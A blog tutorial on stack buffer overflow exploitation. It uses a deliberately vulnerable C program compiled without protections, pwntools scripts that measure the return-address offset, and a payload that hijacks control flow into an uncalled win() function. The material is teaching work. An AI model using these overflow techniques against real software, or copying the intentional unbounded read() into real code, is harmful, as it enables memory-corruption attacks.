Binary exploitation: hijacking the control flow

August 15, 2026 in Security by Gerboise10 minutes

Introduction

I am currently training in exploitation techniques. This article shows binary exploitation and what I reviewed and learned during that study session. The overall goal is to exploit buffer overflows in order to control the execution flow and build our own: shellcode, execution of protected functions, and so on.

In Writing an x64 shellcode from scratch, I built the payload: a sequence of bytes that opens a shell once executed. The most interesting question was still open, and it is the one this session is about: how do you get a program that was never meant to run those bytes to execute them anyway.

The target program

Here we are going to study a buffer overflow in a deliberately simple program. The point is pedagogical: on a real target, the hard part is first to find the flaw, which buries the mechanics of exploitation under hundreds of functions and hours of reverse engineering. Starting from a program whose source code we have and that fits on one screen, the vulnerability is a given, and all the attention can go where it matters: what exactly happens on the stack at the moment it overflows.

A second benefit is reproducibility. You can compile this file, replay every command in the article and compare your results with mine, without depending on an online challenge or a binary handed to you by someone else.

#include <stdio.h>
#include <unistd.h>

void win(void)
{
    puts("[+] win() reached");
}

void vulnerable_function(void)
{
    char buf[64];
    puts("input:");
    read(0, buf, 256);
}

int main(void)
{
    setvbuf(stdout, NULL, _IONBF, 0);
    vulnerable_function();
    puts("normal return from main");
    return 0;
}

We compile it like this:

gcc -w -fno-stack-protector -no-pie -o vuln vuln.c

We turn off the memory protections to make our life easier: -fno-stack-protector removes the stack canary and -no-pie freezes the binary addresses. The -w silences the compiler warning, since the compiler spots the flaw perfectly well on its own.

The vulnerability lies in the fact that buf is 64 bytes while read accepts 256. This overflow is in the user’s hands, through a read of user input. The goal is to execute the win() function, which the program never calls.

pwntools

All the tooling in this article fits in a single Python library: pwntools. It serves two purposes. First, writing exploits faster, by providing ready made versions of the gestures you would otherwise redo by hand every time. Second, and this matters most, making the work reproducible: an exploit becomes a script you can read, version and replay identically, instead of a series of manipulations retyped in a terminal.

It is a Python dependency, so we install it in a virtual environment rather than system wide:

python3 -m venv .venv
source .venv/bin/activate
pip install pwntools

Four features are enough for this whole article:

  • launching and driving the target program. process("./vuln") locally, remote("host", 1337) against a remote service. The API is the same in both cases, which lets you develop an exploit locally and then fire it at the real target by changing one line.
  • reading an ELF binary. ELF("./vuln") gives the state of the protections and the address of the symbols, without going through readelf or nm.
  • generating test patterns. cyclic() and cyclic_find(), which measure an offset in a single run.
  • packing numbers. p64() and its family.

One of the difficulties that eats up mental bandwidth when writing a payload is dealing with endianness: on x64, the bytes of a value are laid out in memory backwards, from least significant to most significant. pwntools takes care of it for us with these functions. p8() through p64() pack according to the field size, 1, 2, 4 or 8 bytes, u8() through u64() read back the other way, and the byte order is taken from context.endian without you having to think about it.

Reading the protections

Before writing a single line of exploit, we look at what is enabled. This is the reflex to acquire first: each protection dictates the technique.

from pwn import *
print(ELF("./vuln").checksec())
[*] '/tmp/binexp/vuln'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No

The summary shows up twice: ELF() already prints it in its log when loading, and the print() prints it again. Either line alone is enough, ELF("./vuln") on its own does the job.

Line by line:

  • Arch: amd64-64-little: 64 bit binary, little endian. This is what mandates p64() rather than p32() later on.
  • No canary: nothing checks the integrity of the stack when the function returns. We disabled it.
  • NX enabled: No eXecute, writable pages, including the stack, are not executable. The shellcode from the previous article, dropped into buf, would be useless here. The next article recompiles the program without that protection precisely so we can jump onto it.
  • No PIE (0x400000): the binary is loaded at a fixed address. All the addresses of its functions are known statically.

Triggering the crash

Before trying to control anything, we check that the overflow does what we think it does. We send more bytes than the buffer accepts:

from pwn import *

context.binary = ELF("./vuln")

p = process()
p.send(b"A" * 200)
p.wait()

log.info(f"exit code: {p.poll()}")
[*] '/tmp/binexp/vuln'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[+] Starting local process '/tmp/binexp/vuln': pid 66970
[*] Process '/tmp/binexp/vuln' stopped with exit code -11 (SIGSEGV) (pid 66970)
[*] exit code: -11

Code -11 is signal 11, SIGSEGV: the process died of a segmentation violation.

The segfault alone does not prove anything precise. We look under GDB at what the program was about to do. GDB expects its input in a file, so we write the 200 bytes to disk:

open("payload", "wb").write(b"A" * 200)
gdb -q ./vuln

Once inside GDB, we run the program feeding it the file, then look at the top of the stack and the registers:

run < payload
x/gx $rsp
info registers rip rsp
Starting program: /tmp/binexp/vuln < payload
input:

Program received signal SIGSEGV, Segmentation fault.
0x00000000004004c1 in vulnerable_function ()
0x7fffffffd808:	0x4141414141414141
rip            0x4004c1            0x4004c1 <vulnerable_function+42>
rsp            0x7fffffffd808      0x7fffffffd808

Here GDB tells us the program is about to jump to an invalid address, 0x4141414141414141. That is not a random value: 0x41 is the ASCII code of the letter A, the one we just sent 200 times. So it is our own bytes that end up where the processor looks for its next destination (why they land exactly there is the subject of the next section).

Without pwntools, the same thing fits on one shell line:

python3 -c "import sys; sys.stdout.buffer.write(b'A'*200)" | ./vuln

To remove any remaining doubt, we replace the A bytes of the return address with a recognisable value. But first we need to know how many bytes of padding to write before it.

Rather than counting, we send a cyclic pattern: a sequence in which every 8 byte slice is unique. All that is left is to read back the slice that landed on the return address, and cyclic_find recovers its position in the pattern, which is the offset we were after. The n=8 is not decorative: by default cyclic() cuts the pattern into 4 byte slices, which suits 32 bit, whereas 8 are needed here.

So the script measures the offset, keeps it in a variable, then replays the overflow with 0xdeadbeef in place of the return address:

from pwn import *

context.binary = ELF("./vuln")
context.log_level = "warning"

# 1. measure the offset with a cyclic pattern
p = process()
p.send(cyclic(200, n=8))
p.wait()
offset = cyclic_find(p.corefile.read(p.corefile.rsp, 8), n=8)
print(f"offset = {offset}")

# 2. replay with a recognisable return address
p = process()
p.send(b"A" * offset + p64(0xDEADBEEF))
p.wait()
print(f"RIP    = {p.corefile.rip:#x}")
offset = 72
RIP    = 0xdeadbeef

p.corefile reads back the core dump left by the dead process, which saves opening GDB just to read a register. The system does have to produce them: ulimit -c unlimited if it does not. When systemd-coredump collects them, as on Fedora, pwntools knows how to fetch them on its own.

RIP holds exactly 0xdeadbeef, the value we picked. The program jumped where we told it to. This is control of the execution flow in its rawest form: all that is left is to put a useful address there instead. pwntools is powerful, isn’t it ;) ?

The stack frame of a function

To understand where our A bytes went, we need to look at how a function settles in memory.

The stack is a region that grows towards low addresses: every newly pushed item lands below the previous one. Two registers describe it at any instant. RSP points at its top, that is to say at the most recently pushed item. RBP acts as a fixed landmark for the function currently executing, and everything it cares about sits at a constant offset from that landmark.

On x64, the first six parameters of a call do not go through the stack but through the registers RDI, RSI, RDX, RCX, R8 and R9, in that order. Only parameters beyond the sixth are pushed. This is why RDI will keep coming back later: it holds the first argument of the function we want to call.

The call itself happens in three steps. The call instruction pushes the address of the next instruction, this is the return address. Then the prologue of the callee pushes its caller’s RBP so it can restore it later, and installs its own. Finally it reserves room for the local variables in one go by subtracting from RSP.

Those three steps can be read directly in the disassembly of our function:

objdump -d --no-show-raw-insn -M intel vuln | sed -n '/<vulnerable_function>:/,/^$/p'
0000000000400497 <vulnerable_function>:
  400497:	push   rbp
  400498:	mov    rbp,rsp
  40049b:	sub    rsp,0x40
  40049f:	mov    edi,0x401242
  4004a4:	call   400370 <puts@plt>
  4004a9:	lea    rax,[rbp-0x40]
  4004ad:	mov    edx,0x100
  4004b2:	mov    rsi,rax
  4004b5:	mov    edi,0x0
  4004ba:	call   400380 <read@plt>
  4004bf:	nop
  4004c0:	leave
  4004c1:	ret

push rbp saves the landmark of main, mov rbp,rsp installs the one for vulnerable_function, and sub rsp,0x40 reserves the 64 bytes of buf. The lea rax,[rbp-0x40] right before the call to read confirms where the buffer starts: at RBP - 0x40.

So the stack frame looks like this:

low addresses
                    ┌──────────────────────┐
RSP  ────────────►  │  buf[64]             │  RBP - 0x40   this is where we write
                    │                      │
                    ├──────────────────────┤
RBP  ────────────►  │  saved RBP           │  RBP          8 bytes
                    ├──────────────────────┤
                    │  return address      │  RBP + 8      the target
                    ├──────────────────────┤
                    │  7th parameter and + │  RBP + 16
                    └──────────────────────┘
high addresses

Everything plays out in this diagram. read writes into buf towards increasing addresses, so from bottom to top on this drawing. Once the 64 bytes of the buffer are filled, writing continues over the saved RBP, then over the return address. It therefore takes 0x40 bytes to cross the buffer, plus 8 for the saved RBP, that is 72 bytes before reaching the return address. This is exactly the offset cyclic_find had measured.

When vulnerable_function ends, leave restores RBP and ret pops whatever it finds at the top and loads it into RIP. At that moment, what sits there is no longer the address in main, but our bytes.

Jumping into win()

Everything is in place. All that is left is to put the right address in place of 0xdeadbeef: the address of win(), the function the program never calls.

No need to go looking for it with nm, the ELF object already knows it:

from pwn import *

context.binary = elf = ELF("./vuln")
context.log_level = "warning"

# 1. measure the offset
p = process()
p.send(cyclic(200, n=8))
p.wait()
offset = cyclic_find(p.corefile.read(p.corefile.rsp, 8), n=8)

# 2. this time, a useful address
print(f"win() = {elf.symbols['win']:#x}")

p = process()
p.send(b"A" * offset + p64(elf.symbols["win"]))
print(p.recvall(timeout=2).decode())
win() = 0x400486
input:
[+] win() reached

The program executes a function it calls nowhere in its code. A single value changed compared to the previous script, 0xdeadbeef became elf.symbols["win"], and that is all that separates a crash from a control flow hijack.

The process then dies of a SIGSEGV, which is expected: the saved RBP was overwritten with A bytes, so the leave ; ret of win() returns into the void. The message is printed before the crash, which is enough here.

Conclusion

This article covers the basics of buffer overflow exploitation. I had learned to do it with plain Python strings, and this got my foot in the door with pwntools, which is a very, very, very powerful tool.

That said, this is a very simple example with no protections, but a very useful one to get a grip on these topics.